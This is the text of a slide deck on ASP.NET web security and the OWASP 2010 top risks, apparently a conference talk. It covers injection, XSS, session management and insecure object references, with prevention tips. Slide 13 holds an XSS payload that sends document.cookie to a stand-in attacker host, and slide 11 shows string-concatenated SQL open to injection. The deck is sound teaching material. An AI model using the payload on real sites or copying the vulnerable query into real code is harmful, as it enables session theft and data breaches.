Web Security How Secure Am I?

1. Web SecurityHow Secure Am I? By: David L. Penton http://pentonizer.com http://twitter.com/dpenton Owner, Foundry Force http://foundryforce.com

2. Outline • Secure? I am secure! • What ASP.NET Offers • Top Security Nightmares of 2010 • Select Examples • Look Out! • Resources

3. Secure? I am Secure!

4. Actual Schneier Quote “Almost all networks are extremely vulnerable.” “Network security sucks, and there's not much the schooladministration can do. Somebody who knows how will break in.” “The end result is that insecure software is common.” “The user's going to pick dancing pigs over security every time.”

5. Dancing Pigs?

6. ASP.NET’s Web Security – A Basis • Know Your Server(s) • Security Updates • POET (Padding Oracle Attack) • Software Versions • Other Installed Software • Active Ports

7. ASP.NET’s Web Security – A Basis • Know Your Application(s) • 3rd Party? • Latest Version • Latest Security Patches • Custom? • Understand entry & exit points • Understand Configuration *

8. ASP.NET’s Web Security – A Basis • Application Configuration • Web.config • machineKey • Trusted_connection=true • Encrypt Configuration Sections • App Pool Isolation • <compilation debug=“false” /> • <trace enabled=“false” />

9. ASP.NET’s Web Security – A Basis • Application Configuration • Machine.config • <deployment retail=“true” /> • Review the remainder of the file

10. Top Security Nightmares of 2010 • Top “Risks”, not Top “weaknesses” • Injection • Cross-Site Scripting (XSS) • Broken Authentication & Session Management • Insecure Direct Object References

11. Injection • SQL, OS, LDAP • Occurs when untrusted data is sent to an interpretor as part of a command of query • varsql = “select * from Users where UserName = ‘” + Request.QueryString[“username”] + ”’”

12. Injection - Prevention • Use a safe API - Parameterized Interface • Carefully escape special characters • varsql = “select * from Users where UserName = ‘” + (Request.QueryString[“username”] ?? “”).Replace(”‘”, ”’‘”) + ”’” • Positive “whitelist” input validation

13. Cross-Site Scripting (XSS) • XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. • XSS allows attackers to execute script • <input name=‘creditcard’ type=‘text’ value=‘<%= Request.QueryString[“creditcard”] %>’ /> • <input name=‘creditcard’ type=‘text’ value=‘' /><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'’ />

14. Cross-Site Scripting (XSS) - Prevention • Properly escape untrusted data based on HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into • Server.HtmlEncode() • Server.UrlEncode() • Positive or “whitelist” input validation is also recommended • Helps protect against XSS • Not a complete defense • Carefully escape special characters

15. Broken Authentication & Session Management • Are credentials protected (hashing/encryption)? • Weak account management functions (e.g., account creation, change password, recover password, weak session IDs)? • Are session IDs exposed in the URL (e.g., URL rewriting)? • Do session IDs timeout and can users log out? • Are session IDs rotated after successful login? • Are passwords, session IDs, and other credentials sent only over TLS connections?

16. Broken Authentication & Session Management • URLs with auth tokens might be susceptible to attack • http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii • No session/cookie timeouts. If a user doesn’t log out, are they logged out when they “leave” the site?

17. Broken Authentication & Session Management - Prevention • Strong authentication & session controls • Session Timeout • Logout capability • No exposed session IDs • Avoid XSS flaws

18. Insecure Direct Object References • Occurs when developers exposes a reference to an internal implementation object (file, directory, or db key). • Without an access control check or other protection, attackers can manipulate these references to access unauthorized data. • http://www.mysite.com/profile.aspx?userId=2

19. Insecure Direct Object References - Prevention • Use per user or session indirect object references • Check access

20. More? There’s More? • Cross-Site Request Forgery (CSRF) • Facebook is a common attack vector • Security Misconfiguration • Configuration check! • Insecure Cryptographic Storage • Failure to Restrict URL Access • Insufficient Transport Layer Protection • HTTPS? • Unvalidated Requests & Forwards • http://www.site.com/redir.aspx?url=evil.com

21. Look Out! • Don’t stop searching for exploits • New code equals new exploit material

22. Look Out! • The top exploits always change • What you were secure from yesterday may not be true today

23. Look Out! • Use tools wisely • Be a human expert armed with good tools

24. Resources • Common Weakness Enumeration • http://cwe.mitre.org/ • OWASP – The Open Web Application Security Project • https://www.owasp.org/index.php/Main_Page • Bruce Schneir CRYPTO-GRAM Security Newsletter • http://www.schneier.com/crypto-gram.html • Microsoft Technical Security Notifications • http://technet.microsoft.com/en-us/security/dd252948 • Web Security Testing Cookbook • http://oreilly.com/catalog/9780596514839